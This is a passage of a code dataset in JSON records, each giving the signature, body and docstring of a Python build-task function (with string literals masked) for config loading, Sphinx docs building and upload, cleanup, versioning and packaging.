{"signature": "def get_project_root():", "body": "try:<EOL><INDENT>tasks_py = sys.modules['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return os.path.abspath(os.path.dirname(tasks_py.__file__))<EOL><DEDENT>", "docstring": "Determine location of `tasks.py`.", "id": "f3273:m0"}
{"signature": "def load():", "body": "cfg = Bunch(DEFAULTS)<EOL>cfg.project_root = get_project_root()<EOL>if not cfg.project_root:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>cfg.rootjoin = lambda *names: os.path.join(cfg.project_root, *names)<EOL>cfg.srcjoin = lambda *names: cfg.rootjoin(cfg.srcdir, *names)<EOL>cfg.testjoin = lambda *names: cfg.rootjoin(cfg.testdir, *names)<EOL>cfg.cwd = os.getcwd()<EOL>os.chdir(cfg.project_root)<EOL>if cfg.project_root not in sys.path:<EOL><INDENT>sys.path.append(cfg.project_root)<EOL><DEDENT>try:<EOL><INDENT>from setup import project <EOL><DEDENT>except ImportError:<EOL><INDENT>from setup import setup_args as project <EOL><DEDENT>cfg.project = Bunch(project)<EOL>return cfg<EOL>", "docstring": "Load and return configuration as a ``Bunch``.\n\n        Values are based on ``DEFAULTS``, and metadata from ``setup.py``.", "id": "f3273:m1"}
{"signature": "def set_maven_layout():", "body": "DEFAULTS.update(<EOL>srcdir = '<STR_LIT>',<EOL>testdir = '<STR_LIT>',<EOL>)<EOL>", "docstring": "Switch default project layout to Maven-like.", "id": "f3273:m2"}
{"signature": "def set_flat_layout():", "body": "DEFAULTS.update(<EOL>srcdir = '<STR_LIT:.>',<EOL>testdir = '<STR_LIT>',<EOL>)<EOL>", "docstring": "Switch default project layout to everything top-level.", "id": "f3273:m3"}
{"signature": "def fail(message, exitcode=<NUM_LIT:1>):", "body": "sys.stderr.write('<STR_LIT>'.format(message))<EOL>sys.stderr.flush()<EOL>sys.exit(exitcode)<EOL>", "docstring": "Exit with error code and message.", "id": "f3274:m0"}
{"signature": "def get_pypi_auth(configfile='<STR_LIT>'):", "body": "pypi_cfg = ConfigParser()<EOL>if pypi_cfg.read(os.path.expanduser(configfile)):<EOL><INDENT>try:<EOL><INDENT>user = pypi_cfg.get('<STR_LIT>', '<STR_LIT:username>')<EOL>pwd = pypi_cfg.get('<STR_LIT>', '<STR_LIT:password>')<EOL>return user, pwd<EOL><DEDENT>except ConfigError:<EOL><INDENT>notify.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(configfile))<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Read auth from pip config.", "id": "f3275:m0"}
{"signature": "def watchdogctl(ctx, kill=False, verbose=True):", "body": "tries = <NUM_LIT> if kill else <NUM_LIT:0><EOL>cmd = '<STR_LIT>'.format(ctx.rituals.docs.watchdog.port)<EOL>pidno = <NUM_LIT:0><EOL>pidinfo = capture(cmd, ignore_failures=True)<EOL>while pidinfo:<EOL><INDENT>pidline = next(filter(None, [re.match(r'<STR_LIT>', x) for x in pidinfo.splitlines()]))<EOL>if not pidline:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(pidinfo))<EOL><DEDENT>pidno = int(pidline.group(<NUM_LIT:1>), <NUM_LIT:10>)<EOL>if verbose:<EOL><INDENT>ctx.run(\"<STR_LIT>\".format(pidno), echo=False)<EOL>verbose = False<EOL><DEDENT>tries -= <NUM_LIT:1><EOL>if tries <= <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>os.kill(pidno, <NUM_LIT:0>)<EOL><DEDENT>except OSError as exc:  <EOL><INDENT>if exc.errno == <NUM_LIT:3>:<EOL><INDENT>break<EOL><DEDENT>raise<EOL><DEDENT>else:<EOL><INDENT>notify.info(\"<STR_LIT>\".format(pidno))<EOL>ctx.run(\"<STR_LIT>\".format(pidno), echo=False)<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>pid = capture(cmd, ignore_failures=True)<EOL><DEDENT>return pidno<EOL>", "docstring": "Control / check a running Sphinx autobuild process.", "id": "f3275:m1"}
{"signature": "@task(default=True, help={<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT:status>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>})<EOL>def sphinx(ctx, browse=False, clean=False, watchdog=False, kill=False, status=False, opts='<STR_LIT>'):", "body": "cfg = config.load()<EOL>if kill or status:<EOL><INDENT>if not watchdogctl(ctx, kill=kill):<EOL><INDENT>notify.info(\"<STR_LIT>\".format(ctx.rituals.docs.watchdog.port))<EOL><DEDENT>return<EOL><DEDENT>if clean:<EOL><INDENT>ctx.run(\"<STR_LIT>\")<EOL><DEDENT>for basename in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>markdown = cfg.rootjoin(basename + '<STR_LIT>')<EOL>if os.path.exists(markdown):<EOL><INDENT>try:<EOL><INDENT>import pypandoc<EOL><DEDENT>except ImportError as exc:<EOL><INDENT>notify.warning(\"<STR_LIT>\".format(exc))<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pypandoc.convert(markdown, '<STR_LIT>', outputfile=os.path.join(ctx.rituals.docs.sources, basename + '<STR_LIT>'))<EOL><DEDENT><DEDENT><DEDENT>if os.path.exists('<STR_LIT>'):<EOL><INDENT>with io.open('<STR_LIT>', '<STR_LIT:r>') as inp:<EOL><INDENT>license_text = inp.read()<EOL>try:<EOL><INDENT>_, copyright_text = cfg.project['<STR_LIT>'].split('<STR_LIT>', <NUM_LIT:1>)<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>copyright_text = cfg.project.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>with io.open(os.path.join(ctx.rituals.docs.sources, '<STR_LIT>'), '<STR_LIT:w>') as out:<EOL><INDENT>out.write(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:\\n>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:\\n>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:\\n>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:\\n>'<EOL>.format(copyright_text)<EOL>)<EOL>license_text = textwrap.dedent(license_text)<EOL>license_text = '<STR_LIT>'.join(license_text.splitlines())<EOL>out.write('<STR_LIT>'.format(license_text))<EOL><DEDENT><DEDENT><DEDENT>if cfg.project.get('<STR_LIT>') and str(ctx.rituals.docs.apidoc).lower()[:<NUM_LIT:1>] in '<STR_LIT>':<EOL><INDENT>cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for package in cfg.project.packages:<EOL><INDENT>if '<STR_LIT:.>' not in package:<EOL><INDENT>cmd.append(cfg.srcjoin(package))<EOL><DEDENT><DEDENT>with pushd(ctx.rituals.docs.sources):<EOL><INDENT>ctx.run('<STR_LIT:U+0020>'.join(cmd))<EOL><DEDENT><DEDENT>cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:html>']<EOL>if opts:<EOL><INDENT>cmd.append(opts)<EOL><DEDENT>cmd.extend(['<STR_LIT:.>', ctx.rituals.docs.build])<EOL>index_url = index_file = os.path.join(ctx.rituals.docs.sources, ctx.rituals.docs.build, '<STR_LIT>')<EOL>if watchdog:<EOL><INDENT>watchdogctl(ctx, kill=True)<EOL>cmd[<NUM_LIT:0>:<NUM_LIT:1>] = ['<STR_LIT>', '<STR_LIT>']<EOL>cmd.extend([<EOL>'<STR_LIT>', ctx.rituals.docs.watchdog.host,<EOL>'<STR_LIT>', '<STR_LIT:{}>'.format(ctx.rituals.docs.watchdog.port),<EOL>\"<STR_LIT>\".format('<STR_LIT>'),<EOL>\"<STR_LIT>\".format('<STR_LIT>'),<EOL>\"<STR_LIT>\".format('<STR_LIT>'),<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:&>\",<EOL>])<EOL>index_url = \"<STR_LIT>\".format(ctx.rituals.docs.watchdog.host, ctx.rituals.docs.watchdog.port)<EOL><DEDENT>notify.info(\"<STR_LIT>\".format('<STR_LIT>' if watchdog else '<STR_LIT>'))<EOL>with pushd(ctx.rituals.docs.sources):<EOL><INDENT>ctx.run('<STR_LIT:U+0020>'.join(cmd), pty=not watchdog)<EOL><DEDENT>if watchdog:<EOL><INDENT>def activity(what=None, i=None):<EOL><INDENT>\"<STR_LIT>\"<EOL>if i is None:<EOL><INDENT>sys.stdout.write(what + '<STR_LIT:\\n>')<EOL><DEDENT>else:<EOL><INDENT>sys.stdout.write('<STR_LIT>'.format(r'<STR_LIT>'[i % <NUM_LIT:4>], what or '<STR_LIT>'))<EOL><DEDENT>sys.stdout.flush()<EOL><DEDENT>for i in range(<NUM_LIT>):<EOL><INDENT>activity('<STR_LIT>', i)<EOL>if watchdogctl(ctx):<EOL><INDENT>activity('<STR_LIT:OK>')<EOL>break<EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>activity('<STR_LIT>')<EOL><DEDENT>if os.path.exists(os.path.join(ctx.rituals.docs.sources, '<STR_LIT>')):<EOL><INDENT>os.utime(os.path.join(ctx.rituals.docs.sources, '<STR_LIT>'), None)<EOL><DEDENT>for i in range(<NUM_LIT>):<EOL><INDENT>activity('<STR_LIT>', i)<EOL>if os.path.exists(index_file):<EOL><INDENT>activity('<STR_LIT:OK>')<EOL>break<EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>activity('<STR_LIT>')<EOL><DEDENT><DEDENT>if browse:<EOL><INDENT>time.sleep(<NUM_LIT:1>)<EOL>webbrowser.open_new_tab(index_url)<EOL><DEDENT>", "docstring": "Build Sphinx docs.", "id": "f3275:m2"}
{"signature": "@task(help={<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>})<EOL>def confluence(ctx, no_publish=False, clean=False, opts='<STR_LIT>'):", "body": "cfg = config.load()<EOL>if clean:<EOL><INDENT>ctx.run(\"<STR_LIT>\")<EOL><DEDENT>cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>cmd.extend(['<STR_LIT>', '<STR_LIT>'])  <EOL>if opts:<EOL><INDENT>cmd.append(opts)<EOL><DEDENT>cmd.extend(['<STR_LIT:.>', ctx.rituals.docs.build + '<STR_LIT>'])<EOL>if no_publish:<EOL><INDENT>cmd.extend(['<STR_LIT>'])<EOL><DEDENT>notify.info(\"<STR_LIT>\")<EOL>with pushd(ctx.rituals.docs.sources):<EOL><INDENT>ctx.run('<STR_LIT:U+0020>'.join(cmd), pty=True)<EOL><DEDENT>", "docstring": "Build Sphinx docs and publish to Confluence.", "id": "f3275:m3"}
{"signature": "@contextmanager<EOL><INDENT>def _zipped(self, docs_base):<DEDENT>", "body": "with pushd(docs_base):<EOL><INDENT>with tempfile.NamedTemporaryFile(prefix='<STR_LIT>', delete=False) as ziphandle:<EOL><INDENT>pass<EOL><DEDENT>zip_name = shutil.make_archive(ziphandle.name, '<STR_LIT>')<EOL><DEDENT>notify.info(\"<STR_LIT>\"<EOL>.format(os.path.getsize(zip_name) / <NUM_LIT>, zip_name, self.target))<EOL>with io.open(zip_name, '<STR_LIT:rb>') as zipread:<EOL><INDENT>try:<EOL><INDENT>yield zipread<EOL><DEDENT>finally:<EOL><INDENT>os.remove(ziphandle.name)<EOL>os.remove(ziphandle.name + '<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Provide a zipped stream of the docs tree.", "id": "f3275:c0:m1"}
{"signature": "def _to_pypi(self, docs_base, release):", "body": "url = None<EOL>with self._zipped(docs_base) as handle:<EOL><INDENT>reply = requests.post(self.params['<STR_LIT:url>'], auth=get_pypi_auth(), allow_redirects=False,<EOL>files=dict(content=(self.cfg.project.name + '<STR_LIT>', handle, '<STR_LIT>')),<EOL>data={'<STR_LIT>': '<STR_LIT>', '<STR_LIT:name>': self.cfg.project.name})<EOL>if reply.status_code in range(<NUM_LIT:200>, <NUM_LIT>):<EOL><INDENT>notify.info(\"<STR_LIT>\".format(**vars(reply)))<EOL><DEDENT>elif reply.status_code == <NUM_LIT>:<EOL><INDENT>url = reply.headers['<STR_LIT:location>']<EOL><DEDENT>else:<EOL><INDENT>data = self.cfg.copy()<EOL>data.update(self.params)<EOL>data.update(vars(reply))<EOL>notify.error(\"<STR_LIT>\".format(**data))<EOL><DEDENT><DEDENT>return url<EOL>", "docstring": "Upload to PyPI.", "id": "f3275:c0:m2"}
{"signature": "def _to_webdav(self, docs_base, release):", "body": "try:<EOL><INDENT>git_path = subprocess.check_output('<STR_LIT>', shell=True)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>git_path = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>git_path = git_path.decode('<STR_LIT:ascii>').strip()<EOL>git_path = git_path.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>git_path = re.search(r'<STR_LIT>', git_path)<EOL>git_path = git_path.group(<NUM_LIT:1>).replace('<STR_LIT>', '<STR_LIT>') if git_path else '<STR_LIT>'<EOL><DEDENT>url = None<EOL>with self._zipped(docs_base) as handle:<EOL><INDENT>url_ns = dict(name=self.cfg.project.name, version=release, git_path=git_path)<EOL>reply = requests.put(self.params['<STR_LIT:url>'].format(**url_ns),<EOL>data=handle.read(), headers={'<STR_LIT>': '<STR_LIT:application/json>'})<EOL>if reply.status_code in range(<NUM_LIT:200>, <NUM_LIT>):<EOL><INDENT>notify.info(\"<STR_LIT>\".format(**vars(reply)))<EOL>try:<EOL><INDENT>data = reply.json()<EOL><DEDENT>except ValueError as exc:<EOL><INDENT>notify.warning(\"<STR_LIT>\".format(exc))<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in data:  <EOL><INDENT>url = data['<STR_LIT>'] + '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>elif reply.status_code == <NUM_LIT>:<EOL><INDENT>url = reply.headers['<STR_LIT:location>']<EOL><DEDENT>else:<EOL><INDENT>data = self.cfg.copy()<EOL>data.update(self.params)<EOL>data.update(vars(reply))<EOL>notify.error(\"<STR_LIT>\".format(**data))<EOL><DEDENT><DEDENT>if not url:<EOL><INDENT>notify.warning(\"<STR_LIT>\")<EOL><DEDENT>return url<EOL>", "docstring": "Upload to WebDAV store.", "id": "f3275:c0:m3"}
{"signature": "def upload(self, docs_base, release):", "body": "return getattr(self, '<STR_LIT>' + self.target)(docs_base, release)<EOL>", "docstring": "Upload docs in ``docs_base`` to the target of this uploader.", "id": "f3275:c0:m4"}
{"signature": "@task(name='<STR_LIT>')<EOL>def sync_readme(_dummy_ctx):", "body": "_ = config.load()<EOL>notify.banner(\"<STR_LIT>\")<EOL>notify.failure(\"<STR_LIT>\")<EOL>", "docstring": "Update GH pages from project's README.", "id": "f3276:m0"}
{"signature": "@task(default=True)<EOL>def help(_dummy_ctx): ", "body": "shell.run(\"<STR_LIT>\")<EOL>shell.run(\"<STR_LIT>\")<EOL>notify.info(\"<STR_LIT>\")<EOL>", "docstring": "Invoked with no arguments.", "id": "f3277:m0"}
{"signature": "@task(help=dict(<EOL>docs=\"<STR_LIT>\",<EOL>backups=\"<STR_LIT>\",<EOL>bytecode=\"<STR_LIT>\",<EOL>dist=\"<STR_LIT>\",<EOL>all=\"<STR_LIT>\",<EOL>venv=\"<STR_LIT>\",<EOL>tox=\"<STR_LIT>\",<EOL>extra=\"<STR_LIT>\",<EOL>))<EOL>def clean(_dummy_ctx, docs=False, backups=False, bytecode=False, dist=False, <EOL>all=False, venv=False, tox=False, extra='<STR_LIT>'): ", "body": "cfg = config.load()<EOL>notify.banner(\"<STR_LIT>\")<EOL>venv_dirs = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>patterns = ['<STR_LIT>', '<STR_LIT>']<EOL>excludes = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if docs or all:<EOL><INDENT>patterns.extend(['<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>if dist or all:<EOL><INDENT>patterns.append('<STR_LIT>')<EOL><DEDENT>if backups or all:<EOL><INDENT>patterns.extend(['<STR_LIT>'])<EOL><DEDENT>if bytecode or all:<EOL><INDENT>patterns.extend([<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>cfg.srcjoin('<STR_LIT>')[len(cfg.project_root)+<NUM_LIT:1>:],<EOL>])<EOL><DEDENT>if venv:<EOL><INDENT>patterns.extend([i + '<STR_LIT:/>' for i in venv_dirs])<EOL><DEDENT>if tox:<EOL><INDENT>patterns.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>excludes.append('<STR_LIT>')<EOL><DEDENT>if extra:<EOL><INDENT>patterns.extend(shlex.split(extra))<EOL><DEDENT>patterns = [antglob.includes(i) for i in patterns] + [antglob.excludes(i) for i in excludes]<EOL>if not venv:<EOL><INDENT>patterns.extend([antglob.excludes(i + '<STR_LIT:/>') for i in venv_dirs])<EOL><DEDENT>fileset = antglob.FileSet(cfg.project_root, patterns)<EOL>for name in fileset:<EOL><INDENT>notify.info('<STR_LIT>'.format(name))<EOL>if name.endswith('<STR_LIT:/>'):<EOL><INDENT>shutil.rmtree(os.path.join(cfg.project_root, name))<EOL><DEDENT>else:<EOL><INDENT>os.unlink(os.path.join(cfg.project_root, name))<EOL><DEDENT><DEDENT>", "docstring": "Perform house-keeping.", "id": "f3277:m1"}
{"signature": "@task(help=dict(<EOL>docs=\"<STR_LIT>\",<EOL>))<EOL>def build(ctx, docs=False):", "body": "cfg = config.load()<EOL>ctx.run(\"<STR_LIT>\")<EOL>if docs:<EOL><INDENT>for doc_path in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if os.path.exists(cfg.rootjoin(doc_path, '<STR_LIT>')):<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>doc_path = None<EOL><DEDENT>if doc_path:<EOL><INDENT>ctx.run(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>notify.warning(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Build the project.", "id": "f3277:m2"}
{"signature": "@task(help=dict(<EOL>local=\"<STR_LIT>\",<EOL>))<EOL>def freeze(ctx, local=False):", "body": "cmd = '<STR_LIT>'.format('<STR_LIT>' if local else '<STR_LIT>')<EOL>frozen = ctx.run(cmd, hide='<STR_LIT>').stdout.replace('<STR_LIT>', '<STR_LIT:#>')<EOL>with io.open('<STR_LIT>', '<STR_LIT:w>', encoding='<STR_LIT:ascii>') as out:<EOL><INDENT>out.write(\"<STR_LIT>\".format(isodate()))<EOL>out.write(frozen)<EOL><DEDENT>notify.info(\"<STR_LIT>\".format(len(frozen.splitlines()),))<EOL>", "docstring": "Freeze currently installed requirements.", "id": "f3277:m3"}
{"signature": "@task(help={<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>})<EOL>def tox(ctx, verbose=False, clean=False, env_list='<STR_LIT>', opts='<STR_LIT>'):", "body": "cfg = config.load()<EOL>add_dir2pypath(cfg.project_root)<EOL>snakepits = ctx.rituals.snakepits.split(os.pathsep)<EOL>cmd = []<EOL>snakepits = [i for i in snakepits if os.path.isdir(i)]<EOL>if snakepits:<EOL><INDENT>cmd += ['<STR_LIT>'.format(os.pathsep.join(snakepits),)]<EOL><DEDENT>if clean and os.path.exists(cfg.rootjoin('<STR_LIT>')):<EOL><INDENT>shutil.rmtree(cfg.rootjoin('<STR_LIT>'))<EOL><DEDENT>cmd += ['<STR_LIT>']<EOL>if verbose:<EOL><INDENT>cmd += ['<STR_LIT>']<EOL><DEDENT>if env_list:<EOL><INDENT>cmd += ['<STR_LIT>', env_list]<EOL><DEDENT>cmd += opts<EOL>ctx.run('<STR_LIT:U+0020>'.join(cmd))<EOL>", "docstring": "Perform multi-environment tests.", "id": "f3278:m1"}
{"signature": "def get_devpi_url(ctx):", "body": "cmd = '<STR_LIT>'<EOL>lines = ctx.run(cmd, hide='<STR_LIT>', echo=False).stdout.splitlines()<EOL>for line in lines:<EOL><INDENT>try:<EOL><INDENT>line, base_url = line.split('<STR_LIT::>', <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>notify.warning('<STR_LIT>'.format(line))<EOL><DEDENT>else:<EOL><INDENT>if line.split()[-<NUM_LIT:1>].strip() == '<STR_LIT>':<EOL><INDENT>return base_url.split('<STR_LIT>')[<NUM_LIT:0>].strip().rstrip('<STR_LIT:/>')<EOL><DEDENT><DEDENT><DEDENT>raise LookupError(\"<STR_LIT>\".format(<EOL>cmd, '<STR_LIT>'.join(lines),<EOL>))<EOL>", "docstring": "Get currently used 'devpi' base URL.", "id": "f3281:m0"}
{"signature": "@task(help=dict(<EOL>markdown=\"<STR_LIT>\",<EOL>))<EOL>def description(_dummy_ctx, markdown=False):", "body": "cfg = config.load()<EOL>markup = '<STR_LIT>' if markdown else '<STR_LIT:html>'<EOL>description_file = cfg.rootjoin(\"<STR_LIT>\".format(markup))<EOL>notify.banner(\"<STR_LIT>\".format(description_file))<EOL>long_description = cfg.project.long_description<EOL>long_description = long_description.replace('<STR_LIT>', '<STR_LIT>')<EOL>long_description = re.sub(r'<STR_LIT>', r'<STR_LIT>', long_description)<EOL>text = DESCRIPTION_TEMPLATES[markup].format(<EOL>keywords='<STR_LIT:U+002CU+0020>'.join(cfg.project.keywords),<EOL>classifiers='<STR_LIT:\\n>'.join(cfg.project.classifiers),<EOL>classifiers_indented='<STR_LIT:U+0020>' + '<STR_LIT>'.join(cfg.project.classifiers),<EOL>packages='<STR_LIT:U+002CU+0020>'.join(cfg.project.packages),<EOL>long_description_html='<STR_LIT>'.format(long_description),<EOL>**cfg)<EOL>with io.open(description_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>handle.write(text)<EOL><DEDENT>", "docstring": "Dump project metadata for Jenkins Description Setter Plugin.", "id": "f3282:m0"}
{"signature": "def get_egg_info(cfg, verbose=False):", "body": "result = Bunch()<EOL>setup_py = cfg.rootjoin('<STR_LIT>')<EOL>if not os.path.exists(setup_py):<EOL><INDENT>return result<EOL><DEDENT>egg_info = shell.capture(\"<STR_LIT>\".format(setup_py), echo=True if verbose else None)<EOL>for info_line in egg_info.splitlines():<EOL><INDENT>if info_line.endswith('<STR_LIT>'):<EOL><INDENT>pkg_info_file = info_line.split(None, <NUM_LIT:1>)[<NUM_LIT:1>]<EOL>result['<STR_LIT>'] = pkg_info_file<EOL>with io.open(pkg_info_file, encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>lastkey = None<EOL>for line in handle:<EOL><INDENT>if line.lstrip() != line:<EOL><INDENT>assert lastkey, \"<STR_LIT>\".format(pkg_info_file, line)<EOL>result[lastkey] += '<STR_LIT:\\n>' + line<EOL><DEDENT>else:<EOL><INDENT>lastkey, value = line.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>lastkey = lastkey.strip().lower().replace('<STR_LIT:->', '<STR_LIT:_>')<EOL>value = value.strip()<EOL>if lastkey in result:<EOL><INDENT>try:<EOL><INDENT>result[lastkey].append(value)<EOL><DEDENT>except AttributeError:<EOL><INDENT>result[lastkey] = [result[lastkey], value]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result[lastkey] = value<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>for multikey in PKG_INFO_MULTIKEYS:<EOL><INDENT>if not isinstance(result.get(multikey, []), list):<EOL><INDENT>result[multikey] = [result[multikey]]<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Call 'setup egg_info' and return the parsed meta-data.", "id": "f3283:m0"}
{"signature": "@task(help=dict(<EOL>verbose=\"<STR_LIT>\",<EOL>pypi=\"<STR_LIT>\",<EOL>))<EOL>def bump(ctx, verbose=False, pypi=False):", "body": "cfg = config.load()<EOL>scm = scm_provider(cfg.project_root, commit=False, ctx=ctx)<EOL>if not scm.workdir_is_clean():<EOL><INDENT>notify.warning(\"<STR_LIT>\")<EOL><DEDENT>pep440 = scm.pep440_dev_version(verbose=verbose, non_local=pypi)<EOL>setup_cfg = cfg.rootjoin('<STR_LIT>')<EOL>if not pep440:<EOL><INDENT>notify.info(\"<STR_LIT>\")<EOL><DEDENT>elif os.path.exists(setup_cfg):<EOL><INDENT>with io.open(setup_cfg, encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>data = handle.readlines()<EOL><DEDENT>changed = False<EOL>for i, line in enumerate(data):<EOL><INDENT>if re.match(r\"<STR_LIT>\", line):<EOL><INDENT>verb, _ = data[i].split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>data[i] = '<STR_LIT>'.format(verb, pep440)<EOL>changed = True<EOL><DEDENT><DEDENT>if changed:<EOL><INDENT>notify.info(\"<STR_LIT>\")<EOL>with io.open(setup_cfg, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>handle.write('<STR_LIT>'.join(data))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>notify.warning(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>notify.warning(\"<STR_LIT>\")<EOL><DEDENT>if os.path.exists(setup_cfg):<EOL><INDENT>egg_info = shell.capture(\"<STR_LIT>\", echo=True if verbose else None)<EOL>for line in egg_info.splitlines():<EOL><INDENT>if line.endswith('<STR_LIT>'):<EOL><INDENT>pkg_info_file = line.split(None, <NUM_LIT:1>)[<NUM_LIT:1>]<EOL>with io.open(pkg_info_file, encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>notify.info('<STR_LIT:\\n>'.join(i for i in handle.readlines() if i.startswith('<STR_LIT>')).strip())<EOL><DEDENT><DEDENT><DEDENT>ctx.run(\"<STR_LIT>\", echo=True if verbose else None)<EOL><DEDENT>", "docstring": "Bump a development version.", "id": "f3283:m1"}
{"signature": "@task(help=dict(<EOL>devpi=\"<STR_LIT>\",<EOL>egg=\"<STR_LIT>\",<EOL>wheel=\"<STR_LIT>\",<EOL>auto=\"<STR_LIT>\",<EOL>))<EOL>def dist(ctx, devpi=False, egg=False, wheel=False, auto=True):", "body": "config.load()<EOL>cmd = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>if auto:<EOL><INDENT>egg = sys.version_info.major == <NUM_LIT:2><EOL>try:<EOL><INDENT>import wheel as _<EOL>wheel = True<EOL><DEDENT>except ImportError:<EOL><INDENT>wheel = False<EOL><DEDENT><DEDENT>if egg:<EOL><INDENT>cmd.append(\"<STR_LIT>\")<EOL><DEDENT>if wheel:<EOL><INDENT>cmd.append(\"<STR_LIT>\")<EOL><DEDENT>ctx.run(\"<STR_LIT>\")<EOL>ctx.run('<STR_LIT:U+0020>'.join(cmd))<EOL>if devpi:<EOL><INDENT>ctx.run(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Distribute the project.", "id": "f3283:m2"}
{"signature": "@task(help=dict(<EOL>pyrun=\"<STR_LIT>\",<EOL>upload=\"<STR_LIT>\",<EOL>opts=\"<STR_LIT>\",<EOL>))<EOL>def pex(ctx, pyrun='<STR_LIT>', upload=False, opts='<STR_LIT>'):", "body": "cfg = config.load()<EOL>ctx.run(\"<STR_LIT>\")<EOL>pkg_info = get_egg_info(cfg)<EOL>version = pkg_info.version if pkg_info else cfg.project.version<EOL>pex_files = []<EOL>for script in cfg.project.entry_points['<STR_LIT>']:<EOL><INDENT>script, entry_point = script.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>script, entry_point = script.strip(), entry_point.strip()<EOL>pex_file = cfg.rootjoin('<STR_LIT>', '<STR_LIT>'.format(script, version))<EOL>cmd = ['<STR_LIT>', '<STR_LIT>', cfg.rootjoin('<STR_LIT>'), cfg.project_root, '<STR_LIT:-c>', script, '<STR_LIT>', pex_file]<EOL>if opts:<EOL><INDENT>cmd.append(opts)<EOL><DEDENT>ctx.run('<STR_LIT:U+0020>'.join(cmd))<EOL>non_universal = set()<EOL>with closing(zipfile.ZipFile(pex_file, mode=\"<STR_LIT:r>\")) as pex_contents:<EOL><INDENT>for pex_name in pex_contents.namelist():  <EOL><INDENT>if pex_name.endswith('<STR_LIT>') and '<STR_LIT>' not in pex_name:<EOL><INDENT>non_universal.add(pex_name.split('<STR_LIT>')[<NUM_LIT:0>].split('<STR_LIT:/>')[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>if non_universal:<EOL><INDENT>notify.warning(\"<STR_LIT>\"<EOL>.format(pex_file.replace(os.getcwd(), '<STR_LIT:.>'), '<STR_LIT>'.join(sorted(non_universal))))<EOL>envs = [i.split('<STR_LIT:->')[-<NUM_LIT:3>:] for i in non_universal]<EOL>envs = {i[<NUM_LIT:0>]: i[<NUM_LIT:1>:] for i in envs}<EOL>if len(envs) > <NUM_LIT:1>:<EOL><INDENT>envs = {k: v for k, v in envs.items() if not k.startswith('<STR_LIT>')}<EOL><DEDENT>env_id = []<EOL>for k, v in sorted(envs.items()):<EOL><INDENT>env_id.append(k)<EOL>env_id.extend(v)<EOL><DEDENT>env_id = 